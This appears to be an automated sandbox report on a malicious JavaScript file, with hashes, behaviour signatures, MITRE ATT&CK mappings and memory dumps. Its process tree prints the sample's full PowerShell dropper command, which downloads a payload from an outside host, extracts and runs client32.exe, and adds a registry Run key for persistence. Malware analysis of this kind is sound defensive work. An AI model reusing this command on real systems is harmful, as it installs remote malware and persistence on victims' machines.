b7a8c276f3c573a244ec940d6a15bb9b95137066596b4e82e812b75334771b95

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29-08-2023 08:27

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General

Target

458045804580.js
Size

3KB
MD5

171a355d5785a185ea3b4e0ed492ab8f
SHA1

35074dcfb9ea1f95f1f5a5b0f55f9a15bec0b8cd
SHA256

b7a8c276f3c573a244ec940d6a15bb9b95137066596b4e82e812b75334771b95
SHA512

b0313df3a48eb9ba363feabd9cfd9f42f64496a4aac037558663eba1c1297e7cd2cf1d752687fed0944699ba7e28fcb04546edbe774eb8e5c0ab5b76e8004ade

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://instalfrio.cl/destination.txt

exe.dropper

http://instalfrio.cl/destination.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2332	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2332	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2332	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 2332	1596	wscript.exe	28
PID 1596 wrote to memory of 2332	1596	wscript.exe	28
PID 1596 wrote to memory of 2332	1596	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\458045804580.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2332-4-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/2332-5-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2332-6-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2332-9-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2332-8-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2332-10-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2332-7-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2332-11-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2332-13-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download